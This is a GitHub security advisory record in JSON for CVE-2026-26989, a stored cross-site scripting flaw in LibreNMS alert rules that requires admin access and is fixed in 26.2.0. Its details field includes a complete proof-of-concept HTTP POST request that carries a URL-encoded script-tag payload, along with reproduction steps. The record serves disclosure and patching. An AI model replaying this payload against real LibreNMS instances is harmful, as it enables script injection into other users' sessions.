CVE-2026-26989: Librenms/librenms Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6xmx-xr9p-58p7",
  "modified" : "2026-02-20T16:50:54Z",
  "published" : "2026-02-18T22:30:32Z",
  "aliases" : [ "CVE-2026-26989" ],
  "summary" : "LibreNMS has a Stored XSS in Alert Rule",
  "details" : "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.\n\n### Details\nThe stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`.\n```\n<td><i>\" . e($rule_display) . \"</i></td>\n```\n\n### PoC\n\nRequest PoC:\n```\nPOST /alert-rule HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\nX-Requested-With: XMLHttpRequest\nContent-Length: 718\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules\nCookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D\nPriority: u=0\n\n_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query=\n```\n\nSteps to reproduce:\n1. Create and save an alert rule within a device with the following values:\n<img width=\"893\" height=\"325\" alt=\"image\" src=\"https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea\" />\n\n2. Injected JavaScript is executed:\n<img width=\"1104\" height=\"565\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b\" />\n\n\n\n### Impact\nType: Stored Cross-Site Scripting (XSS)\nAffected users: Only accounts with the admin role which can edit a device's alert rules are affected.\nAttackers need: Authenticated admin-level access.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.2.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.12.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-6xmx-xr9p-58p7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26989"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/pull/19039"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/087608cf9f851189847cb8e8e5ad002e59170c58"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-18T22:30:32Z",
    "nvd_published_at" : "2026-02-20T02:16:54Z"
  }
}